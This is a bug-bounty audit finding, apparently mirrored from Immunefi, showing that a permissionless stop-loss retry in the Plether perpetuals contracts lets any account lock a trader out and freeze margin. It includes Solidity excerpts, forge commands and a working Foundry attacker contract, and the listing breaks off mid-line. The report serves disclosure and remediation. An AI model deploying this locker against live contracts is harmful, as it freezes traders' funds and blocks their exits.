Skip to content
Business logic Audit finding Advanced

Permissionless retryPositionProtectionClose() re-queues a rejected stop-loss close before its owner can amend it, freezing the position and its margin for more than 24 hours

A permissionless retry function lets any account re-queue a stop-loss close attempt that the owner's own financial ceilings rejected, before the owner can amend those ceilings. This keeps the protection in a triggered state with a pending order, so the owner cannot amend, cancel or close, and the position margin stays locked for as long as the attacker keeps sending one transaction per execution window.

emanueldlvg Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#97701 [SC-High] permissionless retryPositionProtectionClose() re-queues a rejected stop-loss close before its owner can amend it, freezing the position and its margin for more than 24 hours

Submitted on Nov 2nd 2026 at 18:38:04 UTC by @emanueldlvg for Audit Competition | Plether

Description

Affected contracts (in-scope commit a82d4fef; identical runtime code live on Arbitrum Sepolia v2.0.0)

The defect is in packages/perps/src at the code-freeze commit a82d4fefb02768e5b3bddcc97dee371eee24fea8. Release v2.0.0 (source 1209ca8a) has no packages/perps/src difference from that commit and is live on Arbitrum Sepolia. The runtime bytecode of every contract below matches a build of the in-scope commit, apart from immutable references and the metadata hash. The live Router reports maxExecutionWindowSeconds = 60 and positionProtectionTriggerBountyAssets = 200000. The proof of concept uses the same values. Plether Perps will be deployed on Arbitrum One from this code.

Contract Source Arbitrum Sepolia v2.0.0 address Role in the issue
PositionProtectionBook packages/perps/src/PositionProtectionBook.sol 0x81E3b03Cf29865b6c0f85925839567e2Bc61073D Permissionless retry, owner-only amend, cancel, relatch
OrderRouter packages/perps/src/OrderRouter.sol 0x918663D6Da8CB33b325a04c4A5e8c51D42F3b444 Public executeOrder, expireOrder and commitOrder; relatch callback
OrderRouterLiquidationBatchSidecar packages/perps/src/router/OrderLiquidationBatchLogic.sol 0x7b605d7c57c191379822705d8510109d4b2573aa commitProtectionCloseAttempt, protection lock on public commits
OrderRecoverySidecar packages/perps/src/OrderRecoverySidecar.sol 0x2df705806c0013e75e36fad4d6595c998f4295be Permissionless, oracle-free expiry
OrderRouterExecutionSidecar packages/perps/src/OrderRouterExecutionSidecar.sol 0x0ae016ef599bcdf0bbbedba441401c3b6c6184ea Executes, and terminally rejects, the bounded close attempt

The affected configuration is the release configuration. It has a 60-second execution window, a 0.04% execution fee, 0.1% maintenance margin, 0.2% initial margin and a 0.20 USDG trigger bounty, and close attempts pay no execution bounty. A protection carries trader-chosen close ceilings for execution notional, gross account debit, action charge and explicit fees.

Brief/Intro

A triggered stop-loss or take-profit close can be rejected by the owner's own retained close ceilings. The protection then becomes Latched. The documented remedy is amendLatchedPositionProtectionCloseLimits(), the owner's only way to repair the ceiling and exit. It works only while the protection is Latched and the account has no pending Router order.

retryPositionProtectionClose() has no caller check. It queues a fresh attempt with the same rejected ceilings, which moves the protection back to Triggered and creates a pending order. Ending an attempt is also permissionless: expireOrder() after the 60-second window, or executeOrder() with a tick the ceiling rejects. Anyone can therefore end each rejected attempt and queue the next one inside one transaction. The owner never sees a state in which an amendment is accepted. Cancelling, cancelling and closing, and ordinary close orders are all rejected while a protection is triggered or latched.

The proof of concept opens a 100,000 USDG LONG with 5,000 USDG margin and a stop-loss whose ceilings allow the expected stop-price close. The first tick after the stop gaps to +1.00%, and the ceiling rejects that close. In the control branch the owner amends and exits 4 seconds after the trigger. In the attack branch an unprivileged contract sends one transaction per 60-second window. After 1,418 transactions and 86,439 seconds, every owner exit path still reverts, 4,810.099787 USDG of position margin is still locked, and the 101,000 USDG position is still open. The attacker needs no deposit, position, approval or role. Its only cost is about 0.94 million gas per transaction.

Vulnerability Details

The owner's only repair path needs Latched and an empty queue

The MED-9 fix stores trader-selected close ceilings and copies them into every protection close attempt. Only the owner may change them, and only while the protection is latched with no live order:

PositionProtectionBook.sol, lines 315–328:

Solidity
function amendLatchedPositionProtectionCloseLimits(
    uint64 protectionId,
    PositionProtectionTypes.CloseFinancialLimits calldata limits
) external nonReentrant {
    StoredProtection storage protection = _ownedActiveProtection(protectionId, msg.sender);
    if (protection.status != PositionProtectionTypes.PositionProtectionStatus.Latched) {
        revert OrderRouter__ProtectionNotLatched();
    }
    if (IPositionProtectionRouterHost(ROUTER).pendingOrderCounts(msg.sender) != 0) {
        revert OrderRouter__PendingOrdersExist();
    }
    _setCloseLimits(protection, limits);
    _emitCloseLimitsUpdated(protection);
}

The published MED-9 resolution names this as the recovery: "Tight limits may prevent execution until conditions improve or the owner amends them." CANONICAL_ENTRYPOINTS.md documents the same rule: the owner may amend the close ceilings of a Latched protection "when the account has no pending Router order".

Retry has no caller check and re-queues the rejected ceilings

retryPositionProtectionClose loads the protection with _activeProtection, which checks only that it exists and is active. The owner-checking helper, _ownedActiveProtection, is used by amend, replace and cancel but not by retry:

PositionProtectionBook.sol, lines 382–406:

Solidity
function retryPositionProtectionClose(
    uint64 protectionId
) external nonReentrant returns (uint64 linkedOrderId) {
    StoredProtection storage protection = _activeProtection(protectionId);
    if (protection.status != PositionProtectionTypes.PositionProtectionStatus.Latched) {
        revert OrderRouter__ProtectionNotLatched();
    }
    _requireMatchingPosition(protection);

    IPositionProtectionRouterHost router = IPositionProtectionRouterHost(ROUTER);
    if (router.pendingOrderCounts(protection.account) != 0) {
        revert OrderRouter__PendingOrdersExist();
    }
    ...
    linkedOrderId = IPositionProtectionCloseAttemptHost(ROUTER)
        .commitProtectionCloseAttempt(protectionId, protection.account, protection.side, protection.size);
    ...
    _recordCloseAttempt(protection, linkedOrderId);
}

The Router builds the retry from the retained ceilings that just rejected the close:

router/OrderLiquidationBatchLogic.sol, lines 657–679:

Solidity
PositionProtectionTypes.CloseFinancialLimits memory limits =
    host.positionProtectionBook().closeFinancialLimits(protectionId);
...
request.bounds.executionWindowSeconds = uint32(host.maxExecutionWindowSeconds());
...
request.bounds.maxExecutionNotionalAssets = limits.maxExecutionNotionalAssets;
request.bounds.maxGrossAccountDebitAssets = limits.maxGrossAccountDebitAssets;
request.bounds.maxActionChargeAssets = limits.maxActionChargeAssets;
request.bounds.maxExplicitFeesAssets = limits.maxExplicitFeesAssets;

_recordCloseAttempt (lines 564–578) then sets protection.status = Triggered, and the account has one pending order. Both conditions of the amend function now fail.

Ending a rejected attempt is permissionless and relatches it

Expiry checks only the deadline:

OrderRecoverySidecar.sol, lines 49–63:

Solidity
function expireOrder(
    uint64 orderId
) external delegated returns (OrderV3Types.ExecutionResult memory) {
    ...
    if (block.timestamp <= pending.timing.executionDeadline) {
        revert OrderRouter__OrderNotExpired();
    }
    ...
    return host.executeOrderItemFromSidecar(request);
}

A terminal failure of a protection attempt, whether expiry or a ceiling violation at execution, reaches the Book through the Router:

OrderRouter.sol, lines 324–329:

Solidity
if (!success && lifecycleBook.isProtectionAttempt(order.orderId)) {
    ...
    positionProtectionBook.handleFailedProtectionAttempt(order.orderId, order.account, reason);
}

PositionProtectionBook.sol, lines 662–668:

Solidity
delete _attemptProtectionIds[orderId];
retained = _positionMatches(protection);
emit PositionProtectionCloseAttemptFailed(protectionId, account, orderId, reason, retained);
if (retained) {
    protection.status = PositionProtectionTypes.PositionProtectionStatus.Latched;
    return true;
}

The protection is Latched with an empty queue only between this callback and the next retry. A contract that calls expireOrder (or executeOrder) and then retryPositionProtectionClose in the same transaction removes that window entirely.

Every other owner exit is closed while the protection is triggered

  • cancelPositionProtection → _cancel accepts only PendingOpen and Armed (PositionProtectionBook.sol, lines 413–419) and reverts OrderRouter__ProtectionNotArmed.
  • cancelPositionProtectionAndCommitClose accepts only Armed (lines 345–348).
  • An ordinary close through OrderRouter.commitOrder is rejected for any account with an active protection:

router/OrderLiquidationBatchLogic.sol, lines 313–315:

Solidity
if (enforceProtectionLock && host.positionProtectionBook().activePositionProtectionId(account) != 0) {
    revert OrderRouter__ProtectionActive();
}

SECURITY.md states that "Triggering is irreversible". After a trigger, the owner's only ways out are therefore a protection attempt that executes, or the latched amendment.

The broken invariant

After the owner's ceiling rejects a protection close, the owner must be able to amend that ceiling before another attempt with the same ceiling is queued. The code relies on keepers behaving well instead of enforcing this. DEPLOYMENT.md asks keeper operators to "Investigate planner, constraint, or other persistent failures before retrying; do not continuously queue the same failing attempt." Nothing on-chain stops a caller from doing exactly that.

Relation to published findings

MED-9 ("Keepers can retry protection closes without the trader's financial limits") was resolved by adding the retained ceilings and the owner-only latched amendment. This report shows that the fix introduces a new defect. The ceilings it added can reject a close, the amendment it added is the only way past that rejection, and the permissionless retry it kept can deny the amendment indefinitely. The published protection-liveness items (MED-8, MED-15, MED-17, MED-23, MED-28, MED-30, LOW-50) and the SECURITY.md limitations concern triggers or retries that do not happen. This issue is the opposite: retries that cannot be stopped and that lock out the owner.

Exploitation

The test uses the repository's Foundry suite at the in-scope commit. Pyth updates come from the suite's MockPyth, and USDG from the suite's mock settlement token. No in-scope contract is modified. The Router, Oracle and risk parameters are set to the release values listed in DEPLOYMENT.md and read from the live v2.0.0 deployment.

  1. The owner deposits 20,000 USDG. Through the public V3 commitOrder and keeper execution, the owner opens a LONG of 100,000e18 size (100,000 USDG notional at 1.00) with 5,000 USDG margin.
  2. The owner creates a stop-loss at 1.005 (+0.50%) with close ceilings of 110,000 USDG notional, 750 USDG gross account debit, 1,000 USDG action charge and 100 USDG explicit fees. A reference branch shows that a close at the stop price debits 490.299843 USDG and executes within these ceilings.
  3. The first tick at or above the stop prints at 1.01 (+1.00%). A keeper triggers the protection and its first close attempt is queued.
  4. Control branch: a keeper executes the attempt. The close would debit 990.499872 USDG, so it fails with ConstraintViolation(GrossAccountDebit) and the protection relatches. The owner raises the gross-debit ceiling to 1,500 USDG, a keeper retries, and the position closes 4 seconds after the trigger.
  5. Attack branch, cycle 1: from the same state, the attacker contract executes the attempt itself. It fails with the same GrossAccountDebit violation, and the contract calls retryPositionProtectionClose in the same transaction. The protection is Triggered again with a new attempt that carries the 750 USDG ceiling.
  6. Every 61 seconds the attacker contract calls expireOrder(attempt) and then retryPositionProtectionClose(protectionId) in one transaction. These calls need no oracle data. After each transaction the test calls every owner exit path, and each one reverts:
    • amendLatchedPositionProtectionCloseLimits with OrderRouter__ProtectionNotLatched;
    • cancelPositionProtection with OrderRouter__ProtectionNotArmed;
    • cancelPositionProtectionAndCommitClose with OrderRouter__ProtectionNotArmed;
    • commitOrder for a full close with OrderRouter__ProtectionActive.
  7. After 1,418 attacker transactions, 86,439 seconds after the trigger, the position is unchanged. The owner can withdraw 14,999.600000 USDG of free settlement, and a withdrawal of one atom more reverts. The 4,810.099787 USDG position margin stays locked.
  8. The attacker stops. A keeper expires the last attempt, the protection relatches, and the owner can now amend, retry and close at the same price. The exit comes 86,502 seconds after the trigger, against 4 seconds in the control branch.

A second test runs the same sequence for one hour (60 attacker transactions, 3,601 seconds) with default forge settings.

Impact Details

Any unprivileged account can stop a protected trader from closing, reducing or changing a position after its stop-loss or take-profit has fired, for as long as it keeps sending one transaction per 60-second execution window. The trader's position margin and the position's profit and loss stay locked for that time. The proof of concept holds 4,810.099787 USDG of margin on a 101,000 USDG position for more than 24 hours. This is temporary freezing of funds for at least 24 hours, the program's High impact. The default-settings one-hour test also meets the Medium impact, "temporary freezing of funds for at least 1 hour".

The attack costs only gas. The attacker contract holds no ETH and no USDG, opens no position and needs no role. It used 936,528 gas per transaction and 1,327,998,103 gas for the 1,418 transactions. At Arbitrum One's 0.01 gwei minimum base fee that is about 0.0133 ETH of execution gas for 24 hours. The attacker does not depend on other keepers. In its first cycle it executes the rejected attempt itself, and in later cycles it uses oracle-free expiry. Either way, a Latched protection with an empty queue never exists between transactions. Protection close attempts pay no execution bounty, so ending them is unpaid work that the attacker simply does itself.

The vulnerable state arises in normal use. A trader sets ceilings with margin above the expected stop-price close, exactly as the MED-9 fix intends, and the market gaps through the stop. Gaps are routine for this product: for example, protections do not trigger while the FX market is frozen, so the first live tick after a weekend can land well beyond a stop. While the owner is locked out, the position stays exposed after its stop has already fired. The lock ends only when the attacker stops, when an attempt happens to execute inside the old ceiling, or when the position is liquidated.

Recommendation

Give the owner a repair window that a third party cannot consume. Options, in order of preference:

  1. Record why the last attempt failed. When it failed one of the trader-set financial ceilings (ConstraintViolation on execution notional, gross account debit, action charge or explicit fees), allow only the owner to retry, since only the owner can change that outcome. Expiry and dependency failures can stay permissionlessly retryable if keeper liveness requires it.
  2. After any relatch, give the owner a grace period, for example one execution window, before a non-owner may retry. Store the relatch time on the protection.
  3. Add an owner-only amend-and-retry action that is accepted while the protection is Triggered. It would atomically terminate the live zero-bounty attempt and queue a new one with the amended ceilings, so the owner never needs the Latched and empty-queue state.

Add a regression test that ends a ceiling-rejected attempt and retries it from a third-party account in one transaction. Then assert that the owner can still amend in the next transaction.

Proof of Concept

Save the test below as packages/perps/test/perps/poc/ProtectionRetryLockout.t.sol and run it from the repository root:

Bash
# One-hour lockout, default forge settings
forge test --root packages/perps --match-path test/perps/poc/ProtectionRetryLockout.t.sol \
  --match-test OverOneHour -vv

# 24-hour lockout: 1,418 attacker transactions exceed forge's default 2^30 per-test gas limit
forge test --root packages/perps --match-path test/perps/poc/ProtectionRetryLockout.t.sol \
  --match-test Over24Hours --gas-limit 9223372036854775807 -vv

The test inherits the suite's BasePerpTest. Its Router harness only adds a legacy scalar commitOrder overload, and the PoC uses the production V3 commitOrder(OrderRequest), executeOrder, expireOrder and Book entrypoints.

Complete test:

<details> <summary>Complete test </summary>
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {ICfdOrderPolicyEvaluator} from "@plether/perps/interfaces/ICfdOrderPolicyEvaluator.sol";
import {IOrderLifecycleBook} from "@plether/perps/interfaces/IOrderLifecycleBook.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IOrderRouterErrors} from "@plether/perps/interfaces/IOrderRouterErrors.sol";
import {IPositionProtectionActions} from "@plether/perps/interfaces/IPositionProtectionActions.sol";
import {IPositionProtectionViews} from "@plether/perps/interfaces/IPositionProtectionViews.sol";
import {PositionProtectionTypes} from "@plether/perps/interfaces/PositionProtectionTypes.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";

/// @notice Public Router entrypoints used by the attacker. No role, approval, deposit or position is required.
interface IPublicRouter {

    function expireOrder(
        uint64 orderId
    ) external returns (OrderV3Types.ExecutionResult memory);

    function executeOrder(
        uint64 orderId,
        bytes[] calldata pythUpdateData
    ) external payable returns (OrderV3Types.ExecutionResult memory);

}

/// @notice Unprivileged attacker contract. Each call ends one failed protection attempt and immediately queues the
///         next one inside the same transaction, so the owner never observes `Latched` with an empty queue.
contract ProtectionRetryLocker {

    IPublicRouter internal immutable router;
    IPositionProtectionActions internal immutable book;

    constructor(
        address router_,
        address book_
    ) {
        router = IPublicRouter(router_);
        book = IPositionProtectionActions(book_);
    }

    /// @dev Executes the live close attempt (it fails the owner's retained ceiling), then re-queues it.
    function relockByExecution(
        uint64 attemptOrderId,
        uint64 protectionId,
        bytes[] calldata pythUpdateData
    ) external payable returns (uint64 nextAttemptOrderId) {
        OrderV3Types.ExecutionResult memory result = router.executeOrder{value: msg.value}(attemptOrderId, pythUpdateData);
        require(result.terminalReason == OrderV3Types.TerminalReason.ConstraintViolation, "attempt did not fail");
        nextAttemptOrderId = book.retryPositionProtectionClose(protectionId);
    }

    /// @dev Expires the live close attempt once its 60-second window has passed, then re-queues it.
    function relockByExpiry(
        uint64 attemptOrderId,
        uint64 protectionId
    ) external returns (uint64 nextAttemptOrderId) {
        OrderV3Types.ExecutionResult memory result = router.expireOrder(attemptOrderId);
        require(result.terminalReason == OrderV3Types.TerminalReason.Expired, "attempt did not expire");
        nextAttemptOrderId = book.retryPositionProtectionClose(protectionId);
    }

}

/// @notice An unprivileged caller keeps a triggered stop-loss in an unfixable state: every time the owner's retained
///         close ceiling rejects the close, the caller re-queues the same rejected close before the owner can amend
///         the ceiling. The owner cannot amend, cancel, or close the position until the caller stops.
contract ProtectionRetryLockoutPoC is BasePerpTest {

    address internal constant OWNER = address(0xA11CE);
    address internal constant ATTACKER_EOA = address(0xBADBAD);
    address internal constant TRIGGER_KEEPER = address(0x7106);
    address internal constant HONEST_KEEPER = address(0xE0EC);

    uint256 internal constant ENTRY_PRICE = 1e8;
    uint256 internal constant STOP_LOSS_PRICE = 100_500_000; // LONG stop-loss fires at or above +0.50%
    uint256 internal constant GAP_PRICE = 101_000_000; // the first published tick after the stop: +1.00%
    uint256 internal constant POSITION_SIZE = 100_000e18; // 100,000 USDG notional at 1.00
    uint256 internal constant POSITION_MARGIN = 5000e6;
    uint256 internal constant OWNER_DEPOSIT = 20_000e6;

    // The owner's retained stop-loss ceilings: expected stop loss of about 500 USDG plus fees, with slack.
    uint256 internal constant MAX_EXECUTION_NOTIONAL = 110_000e6;
    uint256 internal constant MAX_GROSS_ACCOUNT_DEBIT = 750e6;
    uint256 internal constant MAX_ACTION_CHARGE = 1000e6;
    uint256 internal constant MAX_EXPLICIT_FEES = 100e6;

    IPositionProtectionActions internal book;
    IPositionProtectionViews internal bookViews;
    ProtectionRetryLocker internal locker;

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        // packages/perps/DEPLOYMENT.md "Initial release parameters" and the live v2.0.0 manifest.
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function setUp() public override {
        super.setUp();
        _applyReleaseRouterConfig();

        book = IPositionProtectionActions(address(router.positionProtectionBook()));
        bookViews = IPositionProtectionViews(address(router.positionProtectionBook()));
        vm.prank(ATTACKER_EOA);
        locker = new ProtectionRetryLocker(address(router), address(book));

        _fundTrader(OWNER, OWNER_DEPOSIT);
        _refreshMark(ENTRY_PRICE);
    }

    /// @notice Runs with default forge settings: 60 attacker transactions keep the owner out for over one hour.
    function test_PermissionlessRetryLocksOwnerOutOfTriggeredStopLossForOverOneHour() external {
        _runLockout(1 hours);
    }

    /// @notice 1,418 attacker transactions keep the owner out for over 24 hours. Their gas exceeds forge's default
    ///         2^30 per-test limit, so run this test with `--gas-limit 9223372036854775807`.
    function test_PermissionlessRetryLocksOwnerOutOfTriggeredStopLossForOver24Hours() external {
        _runLockout(24 hours);
    }

    function _runLockout(
        uint256 minimumLockout
    ) internal {
        _startRecordingLogs();
        uint64 protectionId = _openAndProtect();

        // Reference: had the first tick after the stop printed at the stop price, the owner's ceilings would pass.
        uint256 stopCloseDebit;
        {
            uint256 referenceSnapshot = vm.snapshotState();
            uint64 attemptAtStop = _trigger(protectionId, STOP_LOSS_PRICE);
            uint256 balanceBefore = clearinghouse.balanceAssets(OWNER);
            OrderV3Types.ExecutionResult memory closedAtStop = _executeAt(HONEST_KEEPER, attemptAtStop, STOP_LOSS_PRICE);
            assertEq(uint8(closedAtStop.status), uint8(OrderV3Types.LifecycleStatus.Executed), "stop close failed");
            stopCloseDebit = balanceBefore - clearinghouse.balanceAssets(OWNER);
            assertLt(stopCloseDebit, MAX_GROSS_ACCOUNT_DEBIT, "ceilings were not sufficient at the stop price");
            assertTrue(vm.revertToState(referenceSnapshot), "snapshot restore failed");
        }

        // The market gaps through the stop: the first published tick is +1.00%.
        uint64 firstAttempt = _trigger(protectionId, GAP_PRICE);
        uint256 triggerTime = vm.getBlockTimestamp();
        uint256 balanceAtTrigger = clearinghouse.balanceAssets(OWNER);
        uint256 branch = vm.snapshotState();

        // Control: the documented recovery. The rejected attempt relatches, the owner raises the gross-debit
        // ceiling, and a retry closes the position at the same +1.00% price.
        uint256 controlExitDelay;
        uint256 gapCloseDebit;
        uint256 controlBalanceAfterExit;
        {
            OrderV3Types.ExecutionResult memory failed = _executeAt(HONEST_KEEPER, firstAttempt, GAP_PRICE);
            _assertConstraintFailure(failed, firstAttempt);
            _assertStatus(protectionId, PositionProtectionTypes.PositionProtectionStatus.Latched);
            vm.prank(OWNER);
            book.amendLatchedPositionProtectionCloseLimits(protectionId, _raisedLimits());
            vm.prank(HONEST_KEEPER);
            uint64 retry = book.retryPositionProtectionClose(protectionId);
            OrderV3Types.ExecutionResult memory closed = _executeAt(HONEST_KEEPER, retry, GAP_PRICE);
            assertEq(uint8(closed.status), uint8(OrderV3Types.LifecycleStatus.Executed), "control close failed");
            assertEq(_positionSize(OWNER), 0, "control position still open");
            controlExitDelay = vm.getBlockTimestamp() - triggerTime;
            controlBalanceAfterExit = clearinghouse.balanceAssets(OWNER);
            gapCloseDebit = balanceAtTrigger - controlBalanceAfterExit;
            assertGt(gapCloseDebit, MAX_GROSS_ACCOUNT_DEBIT, "gap close did not exceed the ceiling");
        }
        assertTrue(vm.revertToState(branch), "snapshot restore failed");

        // Attack, cycle 1: the attacker executes the rejected attempt itself and re-queues it in the same transaction.
        uint256 cycles;
        uint256 gasUsed;
        uint64 attempt;
        {
            bytes[] memory tick = _historicalTick(firstAttempt, GAP_PRICE);
            uint256 gasBefore = gasleft();
            vm.prank(ATTACKER_EOA);
            attempt = locker.relockByExecution(firstAttempt, protectionId, tick);
            gasUsed += gasBefore - gasleft();
            ++cycles;
        }
        _assertConstraintFailure(_lastResult(firstAttempt), firstAttempt);
        _assertOwnerLockedOut(protectionId, attempt);

        // Later cycles: one oracle-free transaction per 60-second execution window until the target is reached.
        while (vm.getBlockTimestamp() - triggerTime < minimumLockout) {
            uint64 deadline = router.lifecycleBook().orderTiming(attempt).executionDeadline;
            vm.warp(uint256(deadline) + 1);
            vm.roll(vm.getBlockNumber() + 1);
            uint256 gasBefore = gasleft();
            vm.prank(ATTACKER_EOA);
            attempt = locker.relockByExpiry(attempt, protectionId);
            gasUsed += gasBefore - gasleft();
            ++cycles;
            _assertOwnerLockedOut(protectionId, attempt);
        }
        uint256 lockout = vm.getBlockTimestamp() - triggerTime;
        assertGe(lockout, minimumLockout, "lockout shorter than the target");
        assertEq(_positionSize(OWNER), POSITION_SIZE, "position changed during the lockout");

        // The position margin cannot leave the account while the position is held open.
        uint256 balanceDuringLockout = clearinghouse.balanceAssets(OWNER);
        uint256 freeDuringLockout = _freeSettlementAssets(OWNER);
        (, uint256 marginDuringLockout,,,,,) = engine.positions(OWNER);
        assertLe(freeDuringLockout + marginDuringLockout, balanceDuringLockout, "margin counted as free");
        vm.prank(OWNER);
        vm.expectRevert();
        clearinghouse.withdraw(OWNER, freeDuringLockout + 1);

        // The attacker stops. Only then can the owner use the same recovery as in the control branch.
        {
            uint64 deadline = router.lifecycleBook().orderTiming(attempt).executionDeadline;
            vm.warp(uint256(deadline) + 1);
            vm.roll(vm.getBlockNumber() + 1);
            vm.prank(HONEST_KEEPER);
            router.expireOrder(attempt);
            _assertStatus(protectionId, PositionProtectionTypes.PositionProtectionStatus.Latched);
            vm.prank(OWNER);
            book.amendLatchedPositionProtectionCloseLimits(protectionId, _raisedLimits());
            vm.prank(HONEST_KEEPER);
            uint64 retry = book.retryPositionProtectionClose(protectionId);
            OrderV3Types.ExecutionResult memory closed = _executeAt(HONEST_KEEPER, retry, GAP_PRICE);
            assertEq(uint8(closed.status), uint8(OrderV3Types.LifecycleStat

The original report as published on Immunefi, by emanueldlvg. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the retry function checks only that the protection is latched and the queue is empty, not that the caller is the owner, so a third party can re-queue the same rejected ceilings in the same transaction that ends the previous attempt.

Impact

An unprivileged account can keep a triggered stop-loss unfixable for as long as it sends one transaction per 60-second window, temporarily freezing the position margin for at least 24 hours in the proof of concept; the lock ends only when the attacker stops, an attempt happens to execute inside the old ceiling, or the position is liquidated.

What the attacker needed

No deposit, position, approval or role; attacker pays gas only; market gaps past the stop

The fix

The report recommends allowing only the owner to retry after a ceiling-based failure, or giving the owner a grace period after a relatch, or adding an owner-only amend-and-retry accepted while triggered; the text does not say it was fixed.

How it was found

  1. The owner opens a large long position with margin and sets a stop-loss with close ceilings that allow the expected stop-price close.
  2. The first tick after the stop gaps beyond the ceiling, so the close attempt is rejected and the protection relatches.
  3. The attacker contract executes the rejected attempt itself and calls the permissionless retry in the same transaction, re-queueing the same ceilings.
  4. Every 61 seconds the attacker expires the live attempt and retries again in one transaction, needing no oracle data.
  5. After each cycle every owner exit path reverts, and the position margin stays locked.
  6. When the attacker stops, a keeper expires the last attempt, the protection relatches, and the owner can finally amend and close.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A trader sets a stop-loss with limits on how much the close may cost. When the market gaps past the stop, the close costs more than the limit, so it is rejected and the trader is meant to raise the limit and try again. Here anyone can immediately re-queue the same rejected close, which puts the protection back into a busy state where the trader's fix is refused, so the trader is stuck while the attacker keeps paying gas.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by emanueldlvg

View all

10 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.